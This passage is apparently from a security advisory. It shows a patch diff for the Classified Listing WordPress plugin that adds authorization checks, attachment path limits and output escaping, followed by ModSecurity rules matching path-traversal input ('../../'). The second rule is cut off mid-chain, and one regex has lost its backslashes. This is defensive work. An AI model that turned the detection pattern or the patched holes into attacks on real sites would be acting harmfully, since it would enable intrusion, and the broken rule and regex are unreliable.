+								if ( count( $parts ) === 2 && $parts[0] && $parts[1] ) {
+									$times[] = [ 'start' => $parts[0], 'end' => $parts[1] ];
+								}
+							}
+							if ( ! empty( $times ) ) {
+								$sbh['times'] = $times;
+							}
+						}
+						$special[] = $sbh;
+					}
+				}
+				if ( ! empty( $special ) ) {
+					$bhs['special'] = $special;
+				}
+				continue;
+			}
+
+			// Parse day lines like "Monday: 09:00-17:00, 13:00-14:00"
+			if ( preg_match( '/^(w+):s*(.+)$/', $line, $m ) ) {
+				$day_name = strtolower( $m[1] );
+				if ( isset( $day_map[ $day_name ] ) ) {
+					$day_index = $day_map[ $day_name ];
+					$hours     = trim( $m[2] );
+
+					if ( ! isset( $bhs['days'] ) ) {
+						$bhs['days'] = [];
+					}
+
+					if ( strtolower( $hours ) === 'closed' ) {
+						$bhs['days'][ $day_index ] = [ 'open' => false ];
+					} elseif ( strtolower( $hours ) === 'open 24 hours' ) {
+						$bhs['days'][ $day_index ] = [ 'open' => true ];
+					} else {
+						$time_parts = array_map( 'trim', explode( ',', $hours ) );
+						$times      = [];
+						foreach ( $time_parts as $range ) {
+							$parts = array_map( 'trim', explode( '-', $range, 2 ) );
+							if ( count( $parts ) === 2 && $parts[0] && $parts[1] ) {
+								$times[] = [ 'start' => $parts[0], 'end' => $parts[1] ];
+							}
+						}
+						$bhs['days'][ $day_index ] = [
+							'open'  => true,
+							'times' => ! empty( $times ) ? $times : [],
+						];
+					}
+				}
+			}
+		}
+
+		return $bhs;
+	}
+
 	public function rtcl_import_category() {
 		if ( ! current_user_can( 'manage_options' ) ) {
 			wp_send_json(
--- a/classified-listing/app/Controllers/Ajax/ListingAdminAjax.php
+++ b/classified-listing/app/Controllers/Ajax/ListingAdminAjax.php
@@ -17,7 +17,6 @@
 			[ $this, 'ajax_callback_get_location_for_contact' ]
 		);
 		add_action( 'wp_ajax_rtcl_delete_temp_listing', [ $this, 'delete_temp_listing' ] );
-		add_action( 'wp_ajax_nopriv_rtcl_delete_temp_listing', [ $this, 'delete_temp_listing' ] );

 		// Send email to user by moderator
 		add_action( 'wp_ajax_rtcl_send_email_to_user_by_moderator', [ $this, 'send_email_to_user_by_moderator' ] );
@@ -77,9 +76,9 @@
 		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( __( 'Session expired.', 'classified-listing' ) );
 		}
-
-		$id   = Functions::request( 'id' );
-		$post = get_post( $id );
+
+		$id   = absint( Functions::request( 'id' ) );
+		$post = $id ? get_post( $id ) : null;
 		if ( $post === null || rtcl()->post_type !== $post->post_type || $post->post_status != Functions::get_temp_listing_status() ) {
 			wp_send_json(
 				[
@@ -88,6 +87,25 @@
 				]
 			);
 		}
+
+		$post_author     = (int) $post->post_author;
+		$current_user_id = (int) get_current_user_id();
+		$can_delete      = false;
+
+		if ( current_user_can( 'manage_options' ) ) {
+			$can_delete = true;
+		} elseif ( $post_author > 0 && $current_user_id > 0 && $post_author === $current_user_id ) {
+			$can_delete = true;
+		}
+
+		if ( ! $can_delete ) {
+			wp_send_json(
+				[
+					'result' => 0,
+					'error'  => esc_html__( 'You do not have permission to delete this listing.', 'classified-listing' )
+				]
+			);
+		}

 		$param    = [
 			'post_parent'      => $id,
--- a/classified-listing/app/Controllers/Ajax/PublicUser.php
+++ b/classified-listing/app/Controllers/Ajax/PublicUser.php
@@ -222,11 +222,12 @@
 			wp_send_json_error( esc_html__( 'Authentication error!!', 'classified-listing' ) );
 		}

-		if ( ! get_current_user_id() ) {
+		$current_user_id = get_current_user_id();
+		if ( ! $current_user_id ) {
 			wp_send_json_error( esc_html__( 'You are not authorized to display it.', 'classified-listing' ) );
 		}

-		$order_id = absint( Functions::clean( $_POST['order_id'] ) );
+		$order_id = isset( $_POST['order_id'] ) ? absint( Functions::clean( $_POST['order_id'] ) ) : 0;

 		if ( ! $order_id ) {
 			wp_send_json_error( esc_html__( 'Order ID is missing.', 'classified-listing' ) );
@@ -237,6 +238,11 @@
 		if ( ! $order ) {
 			wp_send_json_error( esc_html__( 'Order not found.', 'classified-listing' ) );
 		}
+
+		$order_customer_id = (int) $order->get_customer_id();
+		if ( $order_customer_id !== (int) $current_user_id ) {
+			wp_send_json_error( esc_html__( 'You are not authorized to view this order.', 'classified-listing' ) );
+		}

 		ob_start();
 		do_action( 'rtcl_payment_receipt_popup', $order->get_id(), $order );
@@ -851,16 +857,13 @@
 			),
 		) : '';

-		$data = wp_parse_args(
-			[
-				'post_id' => $post_id,
-				'name'    => $name,
-				'email'   => $email,
-				'phone'   => $phone,
-				'message' => $message,
-			],
-			$_POST,
-		);
+		$data = [
+			'post_id' => $post_id,
+			'name'    => $name,
+			'email'   => $email,
+			'phone'   => $phone,
+			'message' => $message,
+		];

 		$data = apply_filters( 'rtcl_listing_seller_contact_form_data', $data, $_POST, $_FILES, $error );

@@ -949,13 +952,10 @@
 		}
 		$post_id = (int) $_POST['post_id'];
 		$message = esc_textarea( $_POST['message'] );
-		$data    = wp_parse_args(
-			[
-				'post_id' => $post_id,
-				'message' => $message,
-			],
-			$_POST,
-		);
+		$data = [
+			'post_id' => $post_id,
+			'message' => $message,
+		];
 		do_action( 'rtcl_listing_report_abuse_form_validation', $error, $data );

 		if ( is_wp_error( $error ) && ! empty( $error->errors ) ) {
--- a/classified-listing/app/Controllers/Hooks/TemplateHooks.php
+++ b/classified-listing/app/Controllers/Hooks/TemplateHooks.php
@@ -271,9 +271,9 @@
 							<path d="M8.65429 17.2954C3.88229 17.2954 0 13.4161 0 8.64769C0 3.87933 3.88229 0 8.65429 0C13.4263 0 17.3086 3.87933 17.3086 8.64769C17.3086 13.4161 13.4263 17.2954 8.65429 17.2954ZM8.65429 1.63937C4.78693 1.63937 1.64062 4.78328 1.64062 8.64769C1.64062 12.5121 4.78693 15.656 8.65429 15.656C12.5216 15.656 15.668 12.5121 15.668 8.64769C15.668 4.78328 12.5216 1.63937 8.65429 1.63937ZM20.7598 20.76C21.0801 20.4398 21.0801 19.9208 20.7598 19.6007L17.0889 15.9326C16.7685 15.6125 16.2491 15.6125 15.9287 15.9326C15.6084 16.2527 15.6084 16.7718 15.9287 17.0919L19.5996 20.76C19.7598 20.92 19.9697 21 20.1797 21C20.3897 21 20.5995 20.92 20.7598 20.76Z" fill="#646464"></path>
 						</svg></span>
 										</div>',
-			$filed_class,
-			$q,
-			$placeholder,
+			esc_attr( $filed_class ),
+			esc_attr( $q ),
+			esc_attr( $placeholder ),
 			esc_html__( 'AI Best Matches', 'classified-listing' ),
 		);

--- a/classified-listing/app/Helpers/Functions.php
+++ b/classified-listing/app/Helpers/Functions.php
@@ -5770,6 +5770,7 @@
 			'never_expires'         => 'Never Expire', // meta
 			'expiry_date'           => 'Expiry Date', // meta
 			'_views'                => 'Views', // meta
+			'_rtcl_bhs'             => 'Business Hours', // meta
 			'rtcl_listing_status'   => 'Status',
 		];

--- a/classified-listing/app/Models/RtclEmail.php
+++ b/classified-listing/app/Models/RtclEmail.php
@@ -447,7 +447,20 @@
 	 */
 	public function set_attachments( $paths = [] ) {
 		if ( is_array( $paths ) && ! empty( $paths ) ) {
-			$this->attachments = $paths;
+			$upload_dir  = wp_upload_dir();
+			$upload_base = realpath( $upload_dir['basedir'] );
+			$safe_paths  = [];
+			foreach ( $paths as $path ) {
+				if ( ! is_string( $path ) || '' === $path ) {
+					continue;
+				}
+				$real = realpath( $path );
+				// Only allow files that exist within the WordPress uploads directory.
+				if ( $real && $upload_base && 0 === strpos( $real, $upload_base . DIRECTORY_SEPARATOR ) && is_file( $real ) ) {
+					$safe_paths[] = $real;
+				}
+			}
+			$this->attachments = $safe_paths;
 		}

 		return $this;
--- a/classified-listing/app/Resources/Options.php
+++ b/classified-listing/app/Resources/Options.php
@@ -442,6 +442,7 @@
 					'twitter'   => __( 'Twitter', 'classified-listing' ),
 					'linkedin'  => __( 'LinkedIn', 'classified-listing' ),
 					'pinterest' => __( 'Pinterest', 'classified-listing' ),
+					'vk'        => __( 'VK', 'classified-listing' ),
 					'whatsapp'  => __( 'WhatsApp (Only at mobile)', 'classified-listing' ),
 					'telegram'  => __( 'Telegram (Only at mobile)', 'classified-listing' ),
 				],
@@ -515,12 +516,12 @@
 				'type'    => 'select',
 				'default' => 'desc',
 				'options' => [
-					'name'         => __( 'Name', 'classified-listing' ),
-					'id'           => __( 'Id', 'classified-listing' ),
-					'count'        => __( 'Count', 'classified-listing' ),
-					'slug'         => __( 'Slug', 'classified-listing' ),
+					'name'        => __( 'Name', 'classified-listing' ),
+					'id'          => __( 'Id', 'classified-listing' ),
+					'count'       => __( 'Count', 'classified-listing' ),
+					'slug'        => __( 'Slug', 'classified-listing' ),
 					'_rtcl_order' => __( 'Custom Order', 'classified-listing' ),
-					'none'         => __( 'None', 'classified-listing' ),
+					'none'        => __( 'None', 'classified-listing' ),
 				],
 			],
 			'taxonomy_order'      => [
@@ -5151,6 +5152,7 @@
 			'pinterest' => esc_html__( 'Pinterest', 'classified-listing' ),
 			'whatsapp'  => esc_html__( 'WhatsApp (Only at mobile)', 'classified-listing' ),
 			'telegram'  => esc_html__( 'Telegram (Only at mobile)', 'classified-listing' ),
+			'vk'        => esc_html__( 'VK', 'classified-listing' ),
 		];

 		return apply_filters( 'rtcl_social_services_options', $options );
--- a/classified-listing/app/Services/FormBuilder/FBField.php
+++ b/classified-listing/app/Services/FormBuilder/FBField.php
@@ -30,25 +30,25 @@
 	protected $_logics;

 	public function __construct( array $field ) {
-		$this->_field = $field;
-		$this->_element = !empty( $field['element'] ) ? $field['element'] : '';
-		$this->_uuid = !empty( $field['uuid'] ) ? $field['uuid'] : '';
-		$this->_icon = !empty( $field['icon'] ) ? $field['icon'] : '';
-		$this->_options = !empty( $field['options'] ) ? $field['options'] : '';
-		$this->_is_custom = empty( $field['preset'] );
-		$this->_name = !empty( $field['name'] ) ? $field['name'] : '';
-		$this->_value = !empty( $field['value'] ) ? $field['value'] : '';
-		$this->_label = !empty( $field['label'] ) ? $field['label'] : '';
-		$this->_isFilterable = !empty( $field['filterable'] );
-		$this->_isSingleViewAble = !empty( $field['single_view'] );
-		$this->_isArchiveViewAble = !empty( $field['archive_view'] );
-		$this->_logics = !empty( $field['logics'] ) ? $field['logics'] : '';
+		$this->_field             = $field;
+		$this->_element           = ! empty( $field['element'] ) ? $field['element'] : '';
+		$this->_uuid              = ! empty( $field['uuid'] ) ? $field['uuid'] : '';
+		$this->_icon              = ! empty( $field['icon'] ) ? $field['icon'] : '';
+		$this->_options           = ! empty( $field['options'] ) ? $field['options'] : '';
+		$this->_is_custom         = empty( $field['preset'] );
+		$this->_name              = ! empty( $field['name'] ) ? $field['name'] : '';
+		$this->_value             = ! empty( $field['value'] ) ? $field['value'] : '';
+		$this->_label             = ! empty( $field['label'] ) ? $field['label'] : '';
+		$this->_isFilterable      = ! empty( $field['filterable'] );
+		$this->_isSingleViewAble  = ! empty( $field['single_view'] );
+		$this->_isArchiveViewAble = ! empty( $field['archive_view'] );
+		$this->_logics            = ! empty( $field['logics'] ) ? $field['logics'] : '';
 	}

 	public function getField() {
 		return $this->_field;
 	}
-
+
 	public function getLogics() {
 		return $this->_logics;
 	}
@@ -72,9 +72,9 @@
 	 */
 	public function getIconHtml() {
 		$iconHtml = '';
-		$icon = $this->getIconData();
-		if ( !empty( $icon ) ) {
-			if ( !empty( $icon['type'] ) && 'class' === $icon['type'] && !empty( $icon['class'] ) ) {
+		$icon     = $this->getIconData();
+		if ( ! empty( $icon ) ) {
+			if ( ! empty( $icon['type'] ) && 'class' === $icon['type'] && ! empty( $icon['class'] ) ) {
 				$iconHtml .= sprintf( '<div class="rtcl-field-icon"><i class="%s"></i></div>', esc_attr( $icon['class'] ) );
 			}
 		}
@@ -95,7 +95,7 @@
 	 * @return mixed|array
 	 */
 	public function getData( $key, $default = null ) {
-		return $this->_field[$key] ?? $default;
+		return $this->_field[ $key ] ?? $default;
 	}

 	/**
@@ -132,14 +132,14 @@
 	 * @return bool
 	 */
 	public function getNofollow() {
-		return !empty( $field['nofollow'] );
+		return ! empty( $field['nofollow'] );
 	}

 	/**
 	 * @return mixed
 	 */
 	public function getTarget() {
-		return !empty( $field['target'] ) ? $field['target'] : '';
+		return ! empty( $field['target'] ) ? $field['target'] : '';
 	}

 	/**
@@ -147,22 +147,22 @@
 	 */
 	public function getDefaultValue() {
 		if ( $this->_element == 'checkbox' ) {
-			return !empty( $this->_value ) && is_array( $this->_value ) ? array_map( 'trim', $this->_value ) : [];
+			return ! empty( $this->_value ) && is_array( $this->_value ) ? array_map( 'trim', $this->_value ) : [];
 		} else {
-			return !empty( $this->_value ) ? trim( $this->_value ) : null;
+			return ! empty( $this->_value ) ? trim( $this->_value ) : null;
 		}
 	}


 	/**
-	 * @param integer $listing_id
+	 * @param  integer  $listing_id
 	 *
 	 * @return array|mixed
 	 */
 	public function getValue( $listing_id ) {
 		$element = $this->getElement();
 		$metaKey = $this->getMetaKey();
-		if ( !Functions::meta_exist( $listing_id, $this->getMetaKey() ) && 'date' != $element ) {
+		if ( ! Functions::meta_exist( $listing_id, $this->getMetaKey() ) && 'date' != $element ) {
 			$value = $this->getDefaultValue();
 		} else {
 			if ( 'checkbox' == $element ) {
@@ -170,19 +170,19 @@
 			} elseif ( 'url' == $this->getElement() ) {
 				$value = get_post_meta( $listing_id, $this->getMetaKey(), true );
 			} elseif ( 'date' == $element ) {
-				$dateType = $this->getData( 'date_type', 'single' );
+				$dateType   = $this->getData( 'date_type', 'single' );
 				$dateFormat = $this->getData( 'date_format', 'Y-d-m H:i' );
 				if ( 'range' === $dateType ) {
 					$value = [
 						'start' => get_post_meta( $listing_id, $metaKey . '_start', true ),
-						'end'   => get_post_meta( $listing_id, $metaKey . '_end', true )
+						'end'   => get_post_meta( $listing_id, $metaKey . '_end', true ),
 					];

-					$value['start'] = !empty( $value['start'] ) ? gmdate( $dateFormat, strtotime( $value['start'] ) ) : null;
-					$value['end'] = !empty( $value['end'] ) ? gmdate( $dateFormat, strtotime( $value['end'] ) ) : null;
+					$value['start'] = ! empty( $value['start'] ) ? gmdate( $dateFormat, strtotime( $value['start'] ) ) : null;
+					$value['end']   = ! empty( $value['end'] ) ? gmdate( $dateFormat, strtotime( $value['end'] ) ) : null;
 				} else {
 					$value = get_post_meta( $listing_id, $metaKey, true );
-					$value = !empty( $value ) ? gmdate( $dateFormat, strtotime( $value ) ) : '';
+					$value = ! empty( $value ) ? gmdate( $dateFormat, strtotime( $value ) ) : '';
 				}
 			} elseif ( 'file' == $element ) {
 				$value = FBHelper::getFieldAttachmentFiles( $listing_id, $this->_field );
@@ -199,19 +199,18 @@
 	}

 	/**
-	 * @param int $listing_id Listing id
+	 * @param  int  $listing_id  Listing id
 	 *
 	 * @return array|mixed|string|null
 	 */
 	public function getFormattedCustomFieldValue( int $listing_id ) {
-
 		$value = $this->getValue( $listing_id );
 		if ( 'url' == $this->getElement() && filter_var( $value, FILTER_VALIDATE_URL ) ) {
 			$value = esc_url( $value );
 		} elseif ( 'date' == $this->getElement() ) {
 			if ( 'range' === $this->getDateType() ) {
-				$start = !empty( $value['start'] ) ? $value['start'] : null;
-				$end = !empty( $value['end'] ) ? $value['end'] : null;
+				$start = ! empty( $value['start'] ) ? $value['start'] : null;
+				$end   = ! empty( $value['end'] ) ? $value['end'] : null;
 				$value = $end ? $start . " - " . $end : $start;
 			}
 		}
@@ -273,12 +272,12 @@


 	public function getDateFieldOptions( $data = [] ) {
-		$dateType = $this->getData( 'date_type', 'single' );
+		$dateType   = $this->getData( 'date_type', 'single' );
 		$dateFormat = $this->getData( 'date_format', 'Y-d-m H:i' );
 		$js_options = Options::get_date_js_format_placeholder();
-		$find = array_keys( $js_options );
-		$replace = array_values( $js_options );
-		$format = str_replace( $find, $replace, $dateFormat );
+		$find       = array_keys( $js_options );
+		$replace    = array_values( $js_options );
+		$format     = str_replace( $find, $replace, $dateFormat );

 		$options = wp_parse_args( $data, [
 			'singleDatePicker' => $dateType === 'single',
@@ -286,147 +285,143 @@
 			'timePicker'       => false !== strpos( $dateFormat, 'h:i A' ) || false !== strpos( $dateFormat, 'H:i' ),
 			'timePicker24Hour' => false !== strpos( $dateFormat, 'H:i' ),
 			'locale'           => [
-				'format' => $format
-			]
+				'format' => $format,
+			],
 		] );

 		return apply_filters( 'rtcl_custom_field_date_options', $options, $this );
 	}

 	/**
-	 * @param array $catIds Current category
-	 * @param array $data All from data fields
+	 * @param  array  $catIds  Current category
+	 * @param  array  $data  All from data fields
 	 *
 	 * @return boolean
 	 */
 	public function isValidCategoryCondition( $catIds, array &$data ) {
-		$catIds = is_array( $catIds ) ? $catIds : [ $catIds ];
-		$presetFields = !empty( $data[FBField::PRESET] ) ? $data[FBField::PRESET] : [];
+		$catIds       = is_array( $catIds ) ? $catIds : [ $catIds ];
+		$presetFields = ! empty( $data[ FBField::PRESET ] ) ? $data[ FBField::PRESET ] : [];

 		// check is validate for section condition
-		$sections = !empty( $data[FBField::SECTIONS] ) ? $data[FBField::SECTIONS] : [];
-		if ( !empty( $sections ) ) {
+		$sections = ! empty( $data[ FBField::SECTIONS ] ) ? $data[ FBField::SECTIONS ] : [];
+		if ( ! empty( $sections ) ) {
 			foreach ( $sections as $sectionIndex => $section ) {
-
 				if ( empty( $section['logics']['status'] ) || empty( $section['logics']['conditions'] ) ) {
 					continue;
 				}

 				// Casing loop
-				if ( isset( $data[FBField::SECTIONS][$sectionIndex]['fieldsIds'] ) ) {
-					$fieldsIds = $data[FBField::SECTIONS][$sectionIndex]['fieldsIds'];
+				if ( isset( $data[ FBField::SECTIONS ][ $sectionIndex ]['fieldsIds'] ) ) {
+					$fieldsIds = $data[ FBField::SECTIONS ][ $sectionIndex ]['fieldsIds'];
 				} else {
 					$fieldsIds = [];
-					if ( !empty( $section['columns'] ) ) {
+					if ( ! empty( $section['columns'] ) ) {
 						foreach ( $section['columns'] as $column ) {
-							if ( !empty( $column['fields'] ) && is_array( $column['fields'] ) ) {
+							if ( ! empty( $column['fields'] ) && is_array( $column['fields'] ) ) {
 								$fieldsIds = array_merge( $fieldsIds, $column['fields'] );
 							}
 						}
 					}
-					$data[FBField::SECTIONS][$sectionIndex]['fieldsIds'] = $fieldsIds;
+					$data[ FBField::SECTIONS ][ $sectionIndex ]['fieldsIds'] = $fieldsIds;
 				}

-				if ( !in_array( $this->_uuid, $fieldsIds ) ) {
+				if ( ! in_array( $this->_uuid, $fieldsIds ) ) {
 					continue;
 				}

 				// Casing loop
-				if ( isset( $data[FBField::SECTIONS][$sectionIndex]['catValidation'] ) ) {
-					if ( $data[FBField::SECTIONS][$sectionIndex]['catValidation'] === true ) {
+				if ( isset( $data[ FBField::SECTIONS ][ $sectionIndex ]['catValidation'] ) ) {
+					if ( $data[ FBField::SECTIONS ][ $sectionIndex ]['catValidation'] === true ) {
 						continue;
 					}
-					if ( $data[FBField::SECTIONS][$sectionIndex]['catValidation'] === false ) {
+					if ( $data[ FBField::SECTIONS ][ $sectionIndex ]['catValidation'] === false ) {
 						return false;
 					}
-
 				}

-				$relation = !empty( $section['logics']['relation'] ) && $section['logics']['relation'] === 'and' ? 'and' : 'or';
-				$validate = [];
+				$relation  = ! empty( $section['logics']['relation'] ) && $section['logics']['relation'] === 'and' ? 'and' : 'or';
+				$validate  = [];
 				$cacheCats = [];
 				foreach ( $section['logics']['conditions'] as $condition ) {
-					if ( empty( $condition['fieldId'] ) || empty( $condition['operator'] ) || empty( $presetFields[$condition['fieldId']] ) || 'category' !== $presetFields[$condition['fieldId']]['element'] ) {
+					if ( empty( $condition['fieldId'] ) || empty( $condition['operator'] ) || empty( $presetFields[ $condition['fieldId'] ] ) || 'category' !== $presetFields[ $condition['fieldId'] ]['element'] ) {
 						continue;
 					}
-					$value = absint( $condition['value'] );
+					$value   = absint( $condition['value'] );
 					$_catIds = [];
 					if ( $value ) {
-						if ( !isset( $cacheCats[$value] ) ) {
-							$childTerms = get_term_children( $value, rtcl()->category );
-							$_catIds = !is_wp_error( $childTerms ) ? $childTerms : [];
-							$_catIds[] = $value;
-							$cacheCats[$value] = $_catIds;
+						if ( ! isset( $cacheCats[ $value ] ) ) {
+							$childTerms          = get_term_children( $value, rtcl()->category );
+							$_catIds             = ! is_wp_error( $childTerms ) ? $childTerms : [];
+							$_catIds[]           = $value;
+							$cacheCats[ $value ] = $_catIds;
 						} else {
-							$_catIds = $cacheCats[$value];
+							$_catIds = $cacheCats[ $value ];
 						}
 					}
 					if ( $condition['operator'] === 'empty' ) {
 						$validate[] = empty( $catIds );
-					} else if ( $condition['operator'] === 'notEmpty' ) {
-						$validate[] = !empty( $catIds );
-					} else if ( in_array( $condition['operator'], [ 'contains', '=' ] ) ) {
-						$common = array_intersect( $catIds, $_catIds );
+					} elseif ( $condition['operator'] === 'notEmpty' ) {
+						$validate[] = ! empty( $catIds );
+					} elseif ( in_array( $condition['operator'], [ 'contains', '=' ] ) ) {
+						$common     = array_intersect( $catIds, $_catIds );
 						$validate[] = empty( $value ) || count( $common ) > 0;
-					} else if ( in_array( $condition['operator'], [ 'doNotContains', '!=' ] ) ) {
-						$common = array_intersect( $catIds, $_catIds );
+					} elseif ( in_array( $condition['operator'], [ 'doNotContains', '!=' ] ) ) {
+						$common     = array_intersect( $catIds, $_catIds );
 						$validate[] = empty( $value ) || empty( $catIds ) || count( $common ) == 0;
 					}
 				}

 				if ( empty( $validate ) ) {
-					$data[FBField::SECTIONS][$sectionIndex]['catValidation'] = true;
+					$data[ FBField::SECTIONS ][ $sectionIndex ]['catValidation'] = true;
 					continue;
 				}

 				if ( $relation === 'and' && in_array( false, $validate, true ) ) {
-					$data[FBField::SECTIONS][$sectionIndex]['catValidation'] = false;
+					$data[ FBField::SECTIONS ][ $sectionIndex ]['catValidation'] = false;

 					return false;
 				}
-				if ( $relation === 'or' && !in_array( true, $validate, true ) ) {
-					$data[FBField::SECTIONS][$sectionIndex]['catValidation'] = false;
+				if ( $relation === 'or' && ! in_array( true, $validate, true ) ) {
+					$data[ FBField::SECTIONS ][ $sectionIndex ]['catValidation'] = false;

 					return false;
 				}
-				$data[FBField::SECTIONS][$sectionIndex]['catValidation'] = true;
+				$data[ FBField::SECTIONS ][ $sectionIndex ]['catValidation'] = true;
 			}
 		}


-		if ( !empty( $this->_logics['status'] ) && !empty( $this->_logics['conditions'] ) ) {
-			$relation = !empty( $this->_logics['relation'] ) && $this->_logics['relation'] === 'and' ? 'and' : 'or';
-			$validate = [];
+		if ( ! empty( $this->_logics['status'] ) && ! empty( $this->_logics['conditions'] ) ) {
+			$relation  = ! empty( $this->_logics['relation'] ) && $this->_logics['relation'] === 'and' ? 'and' : 'or';
+			$validate  = [];
 			$cacheCats = [];
 			foreach ( $this->_logics['conditions'] as $condition ) {
-
-				if ( empty( $condition['fieldId'] ) || empty( $condition['operator'] ) || empty( $presetFields[$condition['fieldId']] ) || 'category' !== $presetFields[$condition['fieldId']]['element'] ) {
+				if ( empty( $condition['fieldId'] ) || empty( $condition['operator'] ) || empty( $presetFields[ $condition['fieldId'] ] ) || 'category' !== $presetFields[ $condition['fieldId'] ]['element'] ) {
 					continue;
 				}
-				$value = absint( $condition['value'] );
+				$value   = absint( $condition['value'] );
 				$_catIds = [];
 				if ( $value ) {
-					if ( !isset( $cacheCats[$value] ) ) {
-						$childTerms = get_term_children( $value, rtcl()->category );
-						$_catIds = !is_wp_error( $childTerms ) ? $childTerms : [];
-						$_catIds[] = $value;
-						$cacheCats[$value] = $_catIds;
+					if ( ! isset( $cacheCats[ $value ] ) ) {
+						$childTerms          = get_term_children( $value, rtcl()->category );
+						$_catIds             = ! is_wp_error( $childTerms ) ? $childTerms : [];
+						$_catIds[]           = $value;
+						$cacheCats[ $value ] = $_catIds;
 					} else {
-						$_catIds = $cacheCats[$value];
+						$_catIds = $cacheCats[ $value ];
 					}
 				}
 				if ( $condition['operator'] === 'empty' ) {
 					$validate[] = empty( $catIds );
-				} else if ( $condition['operator'] === 'notEmpty' ) {
-					$validate[] = !empty( $catIds );
-				} else if ( in_array( $condition['operator'], [ 'contains', '=' ] ) ) {
-					$common = array_intersect( $catIds, $_catIds );
+				} elseif ( $condition['operator'] === 'notEmpty' ) {
+					$validate[] = ! empty( $catIds );
+				} elseif ( in_array( $condition['operator'], [ 'contains', '=' ] ) ) {
+					$common     = array_intersect( $catIds, $_catIds );
 					$validate[] = empty( $value ) || count( $common ) > 0;
-				} else if ( in_array( $condition['operator'], [ 'doNotContains', '!=' ] ) ) {
-					$common = array_intersect( $catIds, $_catIds );
+				} elseif ( in_array( $condition['operator'], [ 'doNotContains', '!=' ] ) ) {
+					$common     = array_intersect( $catIds, $_catIds );
 					$validate[] = empty( $value ) || empty( $catIds ) || count( $common ) == 0;
 				}
-
 			}

 			if ( empty( $validate ) ) {
@@ -434,7 +429,7 @@
 			}

 			if ( $relation === 'and' ) {
-				return !in_array( false, $validate, true );
+				return ! in_array( false, $validate, true );
 			} else {
 				return in_array( true, $validate, true );
 			}
@@ -452,9 +447,23 @@
 	}

 	/**
-	 * @param array $slField
+	 * @param  array  $slField
 	 */
 	public function setSlField( array $slField ): void {
 		$this->_slField = $slField;
 	}
+
+	public function getOptionLabel( $value, $options = [] ) {
+		if ( empty( $options ) || empty( $value ) ) {
+			return null;
+		}
+
+		foreach ( $options as $option ) {
+			if ( isset( $option['value'] ) && $option['value'] === $value ) {
+				return $option['label'] ?? null;
+			}
+		}
+
+		return $value;
+	}
 }
 No newline at end of file
--- a/classified-listing/app/Traits/Functions/UtilityTrait.php
+++ b/classified-listing/app/Traits/Functions/UtilityTrait.php
@@ -700,6 +700,22 @@
 	}

 	/**
+	 * Get listing ad type HTML class.
+	 *
+	 * @param  Listing  $listing  Listing object.
+	 *
+	 * @return array
+	 */
+	static function get_listing_ad_type_class( $listing ) {
+		$classes = [];
+		if ( $listing && ( $ad_type = $listing->get_ad_type() ) ) {
+			$classes[] = sanitize_html_class( 'rtcl_ad_type-' . $ad_type );
+		}
+
+		return $classes;
+	}
+
+	/**
 	 * Retrieves the classes for the post div as an array.
 	 *
 	 * @param  string|array  $class  One or more classes to add to the class list.
@@ -743,6 +759,7 @@
 			$listing->get_label_class(),
 			self::get_listing_taxonomy_class( $listing->get_category_ids(), rtcl()->category ),
 			self::get_listing_taxonomy_class( $listing->get_location_ids(), rtcl()->location ),
+			self::get_listing_ad_type_class( $listing ),
 			is_array( $extra_class ) ? $extra_class : [],
 		);

--- a/classified-listing/assets/block/main.asset.php
+++ b/classified-listing/assets/block/main.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-i18n'), 'version' => '8a75787fed691ab8cc9d');
+<?php return array('dependencies' => array('jquery', 'react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-i18n'), 'version' => 'a7660fa4b00fa53e9866');
--- a/classified-listing/classified-listing.php
+++ b/classified-listing/classified-listing.php
@@ -4,7 +4,7 @@
  * Plugin Name:       Classified Listing – AI-Powered Classified ads & Business Directory Plugin
  * Plugin URI:        https://radiustheme.com/demo/wordpress/classified
  * Description:       The Best Classified Listing and Business Directory Plugin for WordPress to create Classified ads website, job directory, local business directory and service directory.
- * Version:           5.3.8
+ * Version:           5.3.9
  * Requires at least: 6.7
  * Requires PHP:      7.4
  * Author:            Business Directory Team by RadiusTheme
@@ -18,7 +18,7 @@
 defined( 'ABSPATH' ) || die( 'Keep Silent' );


-define( 'RTCL_VERSION', '5.3.8' );
+define( 'RTCL_VERSION', '5.3.9' );
 define( 'RTCL_PLUGIN_FILE', __FILE__ );
 define( 'RTCL_PATH', plugin_dir_path( RTCL_PLUGIN_FILE ) );
 define( 'RTCL_URL', plugins_url( '', RTCL_PLUGIN_FILE ) );
--- a/classified-listing/templates/listing/social-share.php
+++ b/classified-listing/templates/listing/social-share.php
@@ -32,3 +32,7 @@
 <?php if ( in_array( 'telegram', $misc_settings['social_services'] ) ): ?>
     <a class="telegram" href="https://telegram.me/share/url?text=<?php echo esc_attr($title); ?>&url=<?php echo esc_url($url); ?>" target="_blank" rel="nofollow" aria-label="Share on Telegram"><i class="rtcl-icon rtcl-icon-telegram"></i></a>
 <?php endif; ?>
+
+<?php if ( in_array( 'vk', $misc_settings['social_services'] ) ): ?>
+	<a class="vk" href="https://vk.com/share.php?url=<?php echo esc_url($url); ?>&title=<?php echo esc_attr($title); ?>" target="_blank" rel="nofollow" aria-label="Share on VK"><span class="rtcl-icon rtcl-icon-vkontakte"></span></a>
+<?php endif; ?>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity 
# Atomic Edge WAF Rule - CVE-2026-42679
# Blocks path traversal attempts via the rtcl_edit_field_delete AJAX action
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20267679,phase:2,deny,status:403,chain,msg:'CVE-2026-42679 - Classified Listing Path Traversal via AJAX',severity:'CRITICAL',tag:'CVE-2026-42679',tag:'WordPress',tag:'Plugin-ClassifiedListing'"
  SecRule ARGS_POST:action "@streq rtcl_edit_field_delete" "chain"
    SecRule ARGS_POST:id "@rx ../../" "t:none"

# Blocks path traversal via rtcl_edit_field_insert AJAX action
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20267680,phase:2,deny,status:403,chain,msg:'CVE-2026-42679 - Classified Listing Path Traversal via AJAX',severity:'CRITICAL',tag:'CVE-2026-42679',tag:'WordPress',tag:'Plugin-ClassifiedListing'"
  SecRule ARGS_POST:action "@streq rtcl_edit_field_insert" "chain"
